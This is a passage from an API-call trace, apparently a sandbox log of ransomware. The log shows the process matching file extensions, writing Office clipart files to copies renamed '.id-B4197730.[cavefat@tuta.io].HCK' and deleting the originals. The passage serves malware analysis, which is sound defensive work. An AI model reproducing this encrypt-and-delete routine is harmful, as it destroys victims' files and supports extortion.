Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".1cd") returned 4 [0156.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".jpg") returned 4 [0156.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".doc") returned 4 [0156.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString=".docx") returned 5 [0156.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.779] lstrlenW (lpString=".pdf") returned 4 [0156.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString=".xls") returned 4 [0156.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.779] lstrlenW (lpString=".xlsx") returned 5 [0156.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.779] lstrlenW (lpString=".ppt") returned 4 [0156.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".zip") returned 4 [0156.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.779] lstrlenW (lpString=".rar") returned 4 [0156.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString=".bz2") returned 4 [0156.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString=".7z") returned 3 [0156.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".dbf") returned 4 [0156.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".1cd") returned 4 [0156.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0156.779] lstrlenW (lpString=".jpg") returned 4 [0156.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.780] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.780] lstrlenW (lpString="BL00932_.WMF") returned 12 [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.780] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=19476) returned 1 [0156.780] CloseHandle (hObject=0x37c) returned 1 [0156.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0156.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.780] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.780] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.781] GetLastError () returned 0x0 [0156.781] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0156.782] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0156.783] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.783] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.783] SetEndOfFile (hFile=0x2ec) returned 1 [0156.783] CloseHandle (hObject=0x2ec) returned 1 [0156.784] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.784] SetEndOfFile (hFile=0x37c) returned 1 [0156.785] CloseHandle (hObject=0x37c) returned 1 [0156.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".doc") returned 4 [0156.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString=".docx") returned 5 [0156.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.786] lstrlenW (lpString=".pdf") returned 4 [0156.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString=".xls") returned 4 [0156.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.786] lstrlenW (lpString=".xlsx") returned 5 [0156.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.786] lstrlenW (lpString=".ppt") returned 4 [0156.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".zip") returned 4 [0156.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.786] lstrlenW (lpString=".rar") returned 4 [0156.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString=".bz2") returned 4 [0156.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString=".7z") returned 3 [0156.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".dbf") returned 4 [0156.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".1cd") returned 4 [0156.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".jpg") returned 4 [0156.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.786] lstrlenW (lpString=".doc") returned 4 [0156.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.786] lstrlenW (lpString=".docx") returned 5 [0156.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.786] lstrlenW (lpString=".pdf") returned 4 [0156.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString=".xls") returned 4 [0156.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.787] lstrlenW (lpString=".xlsx") returned 5 [0156.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.787] lstrlenW (lpString=".ppt") returned 4 [0156.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.787] lstrlenW (lpString=".zip") returned 4 [0156.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.787] lstrlenW (lpString=".rar") returned 4 [0156.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString=".bz2") returned 4 [0156.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString=".7z") returned 3 [0156.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.787] lstrlenW (lpString=".dbf") returned 4 [0156.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.787] lstrlenW (lpString=".1cd") returned 4 [0156.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0156.787] lstrlenW (lpString=".jpg") returned 4 [0156.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.787] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.787] lstrlenW (lpString="BL00985_.WMF") returned 12 [0156.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.787] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3768) returned 1 [0156.788] CloseHandle (hObject=0x37c) returned 1 [0156.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0156.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.788] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.788] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.788] GetLastError () returned 0x0 [0156.788] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0156.789] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec0, lpOverlapped=0x0) returned 1 [0156.790] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.790] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.790] SetEndOfFile (hFile=0x2ec) returned 1 [0156.790] CloseHandle (hObject=0x2ec) returned 1 [0156.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.791] SetEndOfFile (hFile=0x37c) returned 1 [0156.794] CloseHandle (hObject=0x37c) returned 1 [0156.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.794] lstrlenW (lpString=".doc") returned 4 [0156.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".docx") returned 5 [0156.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.794] lstrlenW (lpString=".pdf") returned 4 [0156.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".xls") returned 4 [0156.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.794] lstrlenW (lpString=".xlsx") returned 5 [0156.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.794] lstrlenW (lpString=".ppt") returned 4 [0156.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.794] lstrlenW (lpString=".zip") returned 4 [0156.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.795] lstrlenW (lpString=".rar") returned 4 [0156.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".bz2") returned 4 [0156.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".7z") returned 3 [0156.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".dbf") returned 4 [0156.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".1cd") returned 4 [0156.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".jpg") returned 4 [0156.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".doc") returned 4 [0156.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".docx") returned 5 [0156.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.795] lstrlenW (lpString=".pdf") returned 4 [0156.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".xls") returned 4 [0156.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.795] lstrlenW (lpString=".xlsx") returned 5 [0156.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.795] lstrlenW (lpString=".ppt") returned 4 [0156.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".zip") returned 4 [0156.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.795] lstrlenW (lpString=".rar") returned 4 [0156.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".bz2") returned 4 [0156.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString=".7z") returned 3 [0156.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.795] lstrlenW (lpString=".dbf") returned 4 [0156.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.796] lstrlenW (lpString=".1cd") returned 4 [0156.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0156.796] lstrlenW (lpString=".jpg") returned 4 [0156.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.796] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.796] lstrlenW (lpString="BOAT.WMF") returned 8 [0156.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.796] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3350) returned 1 [0156.796] CloseHandle (hObject=0x37c) returned 1 [0156.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0156.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.797] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.797] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.797] GetLastError () returned 0x0 [0156.797] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd16, lpOverlapped=0x0) returned 1 [0156.798] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd20, lpOverlapped=0x0) returned 1 [0156.799] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.799] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0156.799] SetEndOfFile (hFile=0x2ec) returned 1 [0156.799] CloseHandle (hObject=0x2ec) returned 1 [0156.800] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.800] SetEndOfFile (hFile=0x37c) returned 1 [0156.800] CloseHandle (hObject=0x37c) returned 1 [0156.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0156.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.801] lstrlenW (lpString=".doc") returned 4 [0156.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.801] lstrlenW (lpString=".docx") returned 5 [0156.801] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0156.801] lstrlenW (lpString=".pdf") returned 4 [0156.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.801] lstrlenW (lpString=".xls") returned 4 [0156.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.801] lstrlenW (lpString=".xlsx") returned 5 [0156.801] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0156.801] lstrlenW (lpString=".ppt") returned 4 [0156.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.801] lstrlenW (lpString=".zip") returned 4 [0156.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.801] lstrlenW (lpString=".rar") returned 4 [0156.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.801] lstrlenW (lpString=".bz2") returned 4 [0156.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.801] lstrlenW (lpString=".7z") returned 3 [0156.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".dbf") returned 4 [0156.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".1cd") returned 4 [0156.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".jpg") returned 4 [0156.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft 